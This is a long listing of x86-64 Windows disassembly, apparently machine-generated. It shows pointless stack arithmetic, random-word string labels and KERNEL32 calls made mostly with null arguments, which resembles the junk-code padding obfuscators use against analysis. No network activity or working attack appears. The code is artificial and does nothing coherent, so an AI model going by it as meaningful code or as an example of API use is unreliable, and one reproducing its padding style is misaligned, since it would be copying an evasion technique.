mov rax, qword [rsp + 0x9140]
mov ecx, dword [rsp + 0x4998]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4790], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 4
mov edx, 0x80000000
lea rcx, str.C:ordinances_slipperygallop
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0xc7f8], rax
mov rax, qword [rsp + 0xba80]
mov qword [rsp + 0xc800], rax
mov rax, qword [rsp + 0xa910]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x8d]
and eax, ecx
mov byte [rsp + 0x54], al
mov rax, qword [rsp + 0xc600]
movzx eax, byte [rax]
movzx ecx, byte [0x1401e6096]
add eax, ecx
mov byte [0x1401e60a7], al
lea rax, [rsp + 0x1024]
mov qword [rsp + 0xc808], rax
movsx eax, word [rsp + 0xd64]
mov rcx, qword [rsp + 0x8ee8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x10f0], ax
mov rax, qword [rsp + 0xb320]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc68]
sub eax, ecx
mov word [rsp + 0xf34], ax
mov rax, qword [rsp + 0xa9c8]
movzx eax, byte [rax]
mov byte [rsp + 0x19d], al
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xbe90], rax
mov rcx, qword [rsp + 0xc418]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0xab98]
mov rcx, qword [rsp + 0x9f68]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb1a0]
mov qword [rcx], rax
lea rax, [rsp + 0x44f0]
mov qword [rsp + 0xc810], rax
mov rax, qword [rsp + 0xbd58]
mov rcx, qword [rsp + 0xaf18]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xc3f8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x46b0]
mov ecx, dword [rsp + 0x43b0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4544], eax
lea rax, [0x1401e60b4]
mov qword [0x1401e79f8], rax
lea rax, [rsp + 0x1160]
mov qword [rsp + 0xc818], rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0xacd
mov r9d, 0x10a8
mov r8d, 0x65834cc3
mov edx, 2
mov rcx, qword [rsp + 0x9b98]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x4adc], eax
mov rax, qword [rsp + 0xbbc0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xb860]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xb850]
mov byte [rcx], al
lea rax, [rsp + 0x101c]
mov qword [rsp + 0xc820], rax
mov rax, qword [0x1401e7828]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa768]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xc218]
mov word [rcx], ax
lea rax, [rsp + 0xc410]
mov qword [rsp + 0xc828], rax
mov rax, qword [rsp + 0x90f0]
mov eax, dword [rax]
cdq
mov rcx, qword [rsp + 0x8f90]
idiv dword [rcx]
mov dword [rsp + 0x4b50], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 2
mov edx, 0x80000000
lea rcx, str.C:cupped_angorasprotozoan_scandalNeuronal
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0xc830], rax
mov rax, qword [rsp + 0xa660]
movzx ecx, al
mov rax, qword [rsp + 0x9db8]
shl rax, cl
mov qword [rsp + 0xab18], rax
mov eax, dword [rsp + 0x48b8]
mov dword [rsp + 0x4c7c], eax
movsx eax, byte [rsp + 0xdf]
mov rcx, qword [rsp + 0x9d50]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [0x1401e7497], al
mov rax, qword [rsp + 0xbdb8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9200]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x14f], al
lea rax, [rsp + 0xbc8]
mov qword [rsp + 0xc838], rax
mov rax, qword [rsp + 0x8e68]
movzx eax, byte [rax]
mov rcx, qword [0x1401e7978]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xa460]
mov byte [rcx], al
mov rax, qword [rsp + 0xb000]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xbd]
add eax, ecx
mov byte [rsp + 0x69], al
mov rax, qword [rsp + 0xa828]
mov rax, qword [rax]
mov qword [rsp + 0xc840], rax
mov rax, qword [rsp + 0x9588]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x45bc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4a78], eax
mov rax, qword [rsp + 0xaf88]
mov rax, qword [rax]
mov qword [rsp + 0xc848], rax
mov eax, dword [rsp + 0x48e4]
mov ecx, dword [rsp + 0x43a8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4bac], eax
movzx eax, byte [rsp + 0x10b]
movzx ecx, byte [0x1401e601c]
add eax, ecx
mov byte [0x1401e6083], al
mov rax, qword [rsp + 0xada0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc70]
sub eax, ecx
mov rcx, qword [rsp + 0xbf80]
mov word [rcx], ax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x8e00], rax
mov rax, qword [rsp + 0xc648]
movzx eax, word [rax]
mov word [rsp + 0x122c], ax
mov rax, qword [rsp + 0xc698]
movsx eax, byte [rax]
mov rcx, qword [0x1401e75a8]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xb928]
mov byte [rcx], al
lea rax, [rsp + 0x1110]
mov qword [rsp + 0xc850], rax
mov eax, dword [rsp + 0x43d4]
mov ecx, dword [rsp + 0x4574]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xaa88]
mov dword [rcx], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x478c], eax
lea rcx, [rsp + 0x25480]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov r9d, 0x207b
xor r8d, r8d
lea rdx, [rsp + 0xbc60]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4c80], eax
lea rax, [rsp + 0x9490]
mov qword [rsp + 0xc858], rax
mov rax, qword [rsp + 0x9150]
mov rcx, qword [rsp + 0xa1b0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xaf28]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9ec8]
mov rcx, qword [rsp + 0xac28]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xbbe8], rax
lea rax, [0x1401e746e]
mov qword [0x1401e7a00], rax
movzx eax, word [rsp + 0xf9c]
mov word [rsp + 0x1230], ax
lea rdx, [rsp + 0x42f0]
mov rcx, qword [rsp + 0xc080]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x49a4], eax
lea rcx, str.Embitter_Choking
call qword [sym.imp.KERNEL32.dll_AddAtomA]
mov word [rsp + 0x1234], ax
mov rax, qword [rsp + 0xbb38]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xdc8]
add eax, ecx
mov rcx, qword [rsp + 0xa0a0]
mov word [rcx], ax
lea rax, [rsp + 0x12f]
mov qword [rsp + 0xc860], rax
mov r9d, 0xdf6
xor r8d, r8d
lea rdx, [rsp + 0xc4f0]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x48f4], eax
lea rdx, [rsp + 0x4c84]
mov rcx, qword [rsp + 0xc238]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4c28], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateTapePartition]
mov rax, qword [0x1401e7858]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc0c]
sub eax, ecx
mov word [rsp + 0x1024], ax
mov eax, dword [rsp + 0x4548]
movzx ecx, al
mov eax, dword [rsp + 0x44d0]
shl eax, cl
mov rcx, qword [rsp + 0xbe60]
mov dword [rcx], eax
lea rax, [rsp + 0xb208]
mov qword [rsp + 0xc868], rax
mov rax, qword [rsp + 0xbf58]
mov rcx, qword [rsp + 0xa218]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xbb30], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0x4308], eax
mov eax, dword [rsp + 0x4890]
mov dword [rsp + 0x4c88], eax
mov rax, qword [rsp + 0x98b0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xa960]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [0x1401e741b], al
mov rax, qword [0x1401e7660]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xfbc]
sar eax, cl
mov rcx, qword [rsp + 0xb368]
mov word [rcx], ax
mov rax, qword [rsp + 0xa688]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xda0]
and eax, ecx
mov word [rsp + 0xca4], ax
movzx eax, word [0x1401e6114]
mov word [rsp + 0x1238], ax
movsx eax, byte [rsp + 0xe1]
movsx ecx, byte [rsp + 0xfe]
sub eax, ecx
mov byte [rsp + 0x18b], al
lea rax, [rsp + 0xb470]
mov qword [rsp + 0xc870], rax
mov rax, qword [rsp + 0x9d58]
mov rcx, qword [rsp + 0xbc30]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xa438]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4418]
mov ecx, dword [rsp + 0x4800]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa150]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc020]
mov qword [rsp + 0xc878], rax
mov rax, qword [rsp + 0x9fe0]
movzx eax, byte [rax]
mov byte [0x1401e74e6], al
movzx eax, word [0x1401e6108]
mov rcx, qword [rsp + 0x90e8]
movzx ecx, word [rcx]
imul eax, ecx
mov word [rsp + 0xd08], ax
movzx eax, word [rsp + 0x10b0]
mov word [rsp + 0x123c], ax
mov rax, qword [rsp + 0xb038]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x17c]
add eax, ecx
mov byte [rsp + 0xfc], al
movzx eax, byte [0x1401e603a]
mov byte [rsp + 0x19e], al
mov rax, qword [rsp + 0xc2d0]
mov rcx, qword [rsp + 0x9ab8]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xb938]
mov qword [rcx], rax
mov rax, qword [rsp + 0xb248]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x484c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4634], eax
lea rax, [rsp + 0xae58]
mov qword [rsp + 0xc880], rax
mov r9d, 0x182
xor r8d, r8d
lea rdx, [rsp + 0xb950]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4448], eax
lea rcx, [rsp + 0x25778]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetStdHandle]
mov rax, qword [rsp + 0x90f0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4ad8]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc3e0]
mov dword [rcx], eax
lea rax, [rsp + 0x6d]
mov qword [0x1401e7a08], rax
lea rax, [rsp + 0x14e]
mov qword [rsp + 0xc888], rax
movsx eax, word [rsp + 0xce8]
mov rcx, qword [rsp + 0x9ef0]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xa480]
mov word [rcx], ax
mov rax, qword [rsp + 0xbcd0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc78]
cdq
idiv ecx
mov word [rsp + 0xc70], ax
movzx eax, byte [rsp + 0x14f]
mov byte [rsp + 0x19f], al
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0x4aac], eax
mov rcx, qword [rsp + 0xa7f8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
lea rcx, [rsp + 0xb708]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
lea rcx, str.Reproach_bluebottles_coop
call qword [sym.imp.KERNEL32.dll_AddAtomA]
mov word [rsp + 0x1240], ax
mov rax, qword [rsp + 0xa9e8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc2f0]
mov qword [rsp + 0xc890], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc890]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xc320], rax
lea rax, [rsp + 0xa6a0]
mov qword [rsp + 0xc898], rax
mov rax, qword [rsp + 0xb3b0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4b68]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x44c0], eax
mov rax, qword [rsp + 0xa300]
mov rcx, qword [rsp + 0xa8a8]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0xaa00]
mov dword [rcx], eax
lea rax, [rsp + 0x1020]
mov qword [rsp + 0xc8a0], rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindFirstFileExW]
movsx eax, byte [rsp + 0x19c]
mov rcx, qword [rsp + 0xc370]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [str.M__n_], al
mov rax, qword [rsp + 0xa630]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x93a8]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x113], al
lea rax, [rsp + 0xd18]
mov qword [rsp + 0xc8a8], rax
mov rax, qword [0x1401e7620]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc30]
add eax, ecx
mov word [rsp + 0x11bc], ax
mov rax, qword [rsp + 0xaf28]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4bb0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4ab8], eax
lea rax, [rsp + 0xba00]
mov qword [rsp + 0xc8b0], rax
mov rax, qword [rsp + 0xaa00]
mov ecx, dword [rsp + 0x445c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x442c], eax
mov rcx, qword [rsp + 0xb078]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x472c], eax
mov rax, qword [rsp + 0xb640]
mov rax, qword [rax]
mov qword [rsp + 0xc8b8], rax
mov rax, qword [rsp + 0xaba0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xf7]
sub eax, ecx
mov byte [rsp + 0x19d], al
movsx eax, byte [0x1401e605b]
mov rcx, qword [rsp + 0xaab8]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [0x1401e60aa], al
mov rax, qword [rsp + 0x9b78]
movzx eax, word [rax]
mov word [rsp + 0x1244], ax
movzx eax, word [rsp + 0xdbc]
movzx ecx, word [rsp + 0x108c]
add eax, ecx
mov word [rsp + 0xbd0], ax
mov rax, qword [rsp + 0xb960]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x55]
sub eax, ecx
mov byte [rsp + 0x197], al
lea rax, [rsp + 0xbb68]
mov qword [rsp + 0xc8c0], rax
mov rax, qword [rsp + 0xc790]
mov rcx, qword [rsp + 0x9270]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4c88], eax
mov rax, qword [rsp + 0x92b0]
mov qword [rsp + 0xc8c8], rax
mov ecx, 5
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0x44d8], eax
mov rax, qword [rsp + 0x9710]
mov ecx, dword [rsp + 0x4730]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x91a8]
mov dword [rcx], eax
lea rcx, [rsp + 0x26ba8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0x9208]
movsx eax, byte [rax]
movsx ecx, byte [0x1401e74b6]
xor eax, ecx
mov rcx, qword [rsp + 0x8fe8]
mov byte [rcx], al
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
mov ecx, 5
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0x43c8], eax
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov qword [rsp + 0x9d60], rax
mov rax, qword [rsp + 0xa768]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xdb4]
shl eax, cl
mov word [0x1401e6028], ax
movzx eax, byte [rsp + 0x152]
mov byte [rsp + 0x1a0], al
mov rax, qword [rsp + 0x9868]
movzx eax, byte [rax]
movzx ecx, byte [0x1401e603e]
sar eax, cl
mov byte [rsp + 0x9c], al
mov rax, qword [rsp + 0x91c8]
movzx eax, word [rax]
mov word [rsp + 0x1248], ax
mov rax, qword [rsp + 0xb068]
mov ecx, dword [rsp + 0x4be0]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x4a1c], eax
mov rax, qword [rsp + 0x9a78]
mov ecx, dword [rsp + 0x4780]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x49cc], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventA]
mov qword [rsp + 0xc8d0], rax
lea rax, [rsp + 0xc468]
mov qword [rsp + 0xc8d8], rax
mov rax, qword [rsp + 0xa838]
mov rcx, qword [rsp + 0xc068]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xc070], rax
movzx eax, byte [0x1401e74e6]
mov byte [rsp + 0x1a1], al
mov rax, qword [rsp + 0xb020]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xe30]
add eax, ecx
mov word [0x1401e7468], ax
movsx eax, byte [rsp + 0x13a]
mov rcx, qword [rsp + 0xc720]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x117], al
movzx eax, word [rsp + 0xdd8]
mov word [rsp + 0x124c], ax
movzx eax, word [rsp + 0xe3c]
movzx ecx, word [rsp + 0xfc4]
sub eax, ecx
mov rcx, qword [rsp + 0x90e8]
mov word [rcx], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_IsProcessInJob]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommMask]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x4684], eax
movsx eax, byte [rsp + 0xfa]
movsx ecx, byte [rsp + 0xbb]
sub eax, ecx
mov byte [rsp + 0x184], al
mov rax, qword [rsp + 0x9bc8]
mov rax, qword [rax]
mov qword [rsp + 0xc8e0], rax
mov r9d, 0x1464
xor r8d, r8d
lea rdx, [rsp + 0xba98]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4c8c], eax
mov rax, qword [rsp + 0x9de0]
mov rcx, qword [rsp + 0xc668]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x9a38]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9108]
mov eax, dword [rax]
mov dword [rsp + 0x4c90], eax
mov rax, qword [rsp + 0xb388]
mov rcx, qword [rsp + 0xb478]
mov eax, dword [rax]
imul eax, dword [rcx]
mov dword [rsp + 0x45bc], eax
movsx eax, word [rsp + 0xf48]
movsx ecx, word [rsp + 0xdb4]
add eax, ecx
mov word [0x1401e6150], ax
mov rcx, qword [rsp + 0xb458]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0xc420]
movzx eax, byte [rax]
mov rcx, qword [0x1401e75c8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x71], al
movzx eax, word [rsp + 0xf84]
mov word [rsp + 0x1250], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ConvertThreadToFiber]
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0xa3b0], rax
movzx eax, word [rsp + 0xcb4]
mov rcx, qword [rsp + 0xc098]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xd40], ax
mov rax, qword [rsp + 0xaa70]
movzx eax, word [rax]
mov word [rsp + 0x1254], ax
mov rax, qword [rsp + 0x9358]
mov rcx, qword [rsp + 0x9bc8]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xc140], rax
mov rax, qword [rsp + 0xad58]
mov rcx, qword [rsp + 0xb768]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xc008], rax
lea rcx, [rsp + 0x25688]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rax, qword [rsp + 0xb018]
mov eax, dword [rax]
mov dword [rsp + 0x4c94], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventA]
mov qword [rsp + 0xc8e8], rax
mov eax, dword [rsp + 0x494c]
movzx ecx, al
mov eax, dword [rsp + 0x49c0]
shr eax, cl
mov rcx, qword [rsp + 0xc298]
mov dword [rcx], eax
lea rax, [rsp + 0xeb]
mov qword [0x1401e7a10], rax
movzx eax, word [rsp + 0xef4]
mov word [rsp + 0x1258], ax
mov rax, qword [rsp + 0xb180]
movzx eax, byte [rax]
mov rcx, qword [0x1401e75c8]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0xe2], al
mov rax, qword [rsp + 0x9fe0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x9f]
and eax, ecx
mov byte [rsp + 0x16e], al
mov rax, qword [rsp + 0xa708]
movzx eax, byte [rax]
mov byte [rsp + 0x1a2], al
mov rax, qword [rsp + 0xbd10]
mov rcx, qword [rsp + 0xc5a0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xa1e0], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetInformationJobObject]
mov rax, qword [rsp + 0xbba8]
mov rax, qword [rax]
mov qword [rsp + 0xc8f0], rax
mov rcx, qword [rsp + 0x9d00]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnWire]
lea rdx, [rsp + 0xb1b8]
mov rcx, qword [rsp + 0x9f10]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4c98], eax
mov eax, dword [rsp + 0x458c]
mov ecx, dword [rsp + 0x4bd4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4a6c], eax
lea rcx, [rsp + 0x2a260]
call qword [sym.imp.KERNEL32.dll_GetVersionExA]
mov dword [rsp + 0x4b0c], eax
lea rax, [0x1401e741c]
mov qword [rsp + 0xc8f8], rax
lea rcx, str.terrifying_meringues_authentication_Assignees
call qword [sym.imp.KERNEL32.dll_AddAtomA]
mov word [rsp + 0x125c], ax
movsx eax, word [rsp + 0x10f4]
movsx ecx, word [rsp + 0xe18]
add eax, ecx
mov word [0x1401e6138], ax
mov rax, qword [rsp + 0xa040]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xee4]
sub eax, ecx
mov rcx, qword [rsp + 0xbd60]
mov word [rcx], ax
movsx eax, byte [0x1401e6053]
movsx ecx, byte [rsp + 0xe3]
add eax, ecx
mov rcx, qword [rsp + 0x9cc0]
mov byte [rcx], al
lea rax, [rsp + 0x163]
mov qword [rsp + 0xc900], rax
movsx eax, word [rsp + 0xe04]
movsx ecx, word [rsp + 0xf00]
add eax, ecx
mov word [rsp + 0xc20], ax
movzx ecx, word [rsp + 0xff8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xdf4], ax
mov rax, qword [rsp + 0x9b80]
mov eax, dword [rax]
mov dword [rsp + 0x4c9c], eax
mov rax, qword [rsp + 0x9180]
mov ecx, dword [rsp + 0x4554]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x9d90]
mov dword [rcx], eax
mov rax, qword [0x1401e7420]
mov rcx, qword [rsp + 0xc020]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9e88]
mov qword [rcx], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ResetWriteWatch]
lea rax, [rsp + 0xa1e0]
mov qword [rsp + 0xc908], rax
mov rax, qword [rsp + 0xab00]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9f30]
movsx ecx, word [rcx]
or eax, ecx
mov word [0x1401e60b4], ax
movzx eax, word [rsp + 0xce4]
movzx ecx, word [0x1401e60cc]
sar eax, cl
mov word [rsp + 0xd0c], ax
lea rax, [rsp + 0x112]
mov qword [rsp + 0xc910], rax
movsx eax, byte [rsp + 0x101]
movsx ecx, byte [rsp + 0x82]
shl eax, cl
mov rcx, qword [rsp + 0x9d08]
mov byte [rcx], al
mov rax, qword [rsp + 0xb2d8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc740]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0xc458]
mov word [rcx], ax
lea rax, [rsp + 0x4c78]
mov qword [rsp + 0xc918], rax
mov rcx, qword [rsp + 0xbee8]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x4ca0], eax
mov rax, qword [rsp + 0xbf58]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9b18]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9500], rax
mov eax, dword [rsp + 0x4384]
mov dword [rsp + 0x4ca4], eax
mov rax, qword [rsp + 0xb760]
mov rcx, qword [rsp + 0xa8b8]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x9858], rax
lea rax, [rsp + 0x100]
mov qword [0x1401e7a18], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnWire]
lea rax, [rsp + 0x160]
mov qword [rsp + 0xc920], rax
mov rax, qword [rsp + 0xae60]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xefc]
add eax, ecx
mov word [rsp + 0x113c], ax
mov rax, qword [rsp + 0xa9a8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9e70]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xbd], al
movzx eax, byte [rsp + 0x133]
mov byte [rsp + 0x1a3], al
mov rax, qword [rsp + 0xaad0]
mov rcx, qword [rsp + 0xa268]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xb670], rax
lea rax, [rsp + 0x9f88]
mov qword [rsp + 0xc928], rax
lea rdx, [rsp + 0x28148]
mov rcx, qword [rsp + 0xb678]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x4958], eax
mov rax, qword [rsp + 0xc500]
mov ecx, dword [rsp + 0x443c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4204], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xc930], rax
movzx ecx, word [rsp + 0xd5c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xeb0], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov eax, dword [rsp + 0x44d0]
mov ecx, dword [section..data]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4844], eax
movzx eax, word [rsp + 0xc24]
movzx ecx, word [rsp + 0xc0c]
add eax, ecx
mov rcx, qword [0x1401e7440]
mov word [rcx], ax
movzx eax, word [rsp + 0xb68]
mov word [rsp + 0x1260], ax
mov rax, qword [rsp + 0xa5d8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xc358]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9bf8]
mov byte [rcx], al
mov rax, qword [rsp + 0xae40]
movzx eax, byte [rax]
mov byte [rsp + 0x1a4], al
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PostQueuedCompletionStatus]
lea rcx, str.overtax_honking
call qword [sym.imp.KERNEL32.dll_AddAtomA]
mov word [rsp + 0x1264], ax
movzx eax, word [rsp + 0x11a4]
imul eax, eax, 0xf80
mov word [rsp + 0xef4], ax
mov eax, dword [rsp + 0x49c0]
mov ecx, dword [rsp + 0x46f8]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc1e8]
mov dword [rcx], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xbe20], rax
mov rax, qword [rsp + 0x9b58]
mov rax, qword [rax]
mov qword [rsp + 0xc938], rax
movzx ecx, word [rsp + 0xf38]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1218], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
mov qword [rsp + 0xc940], rax
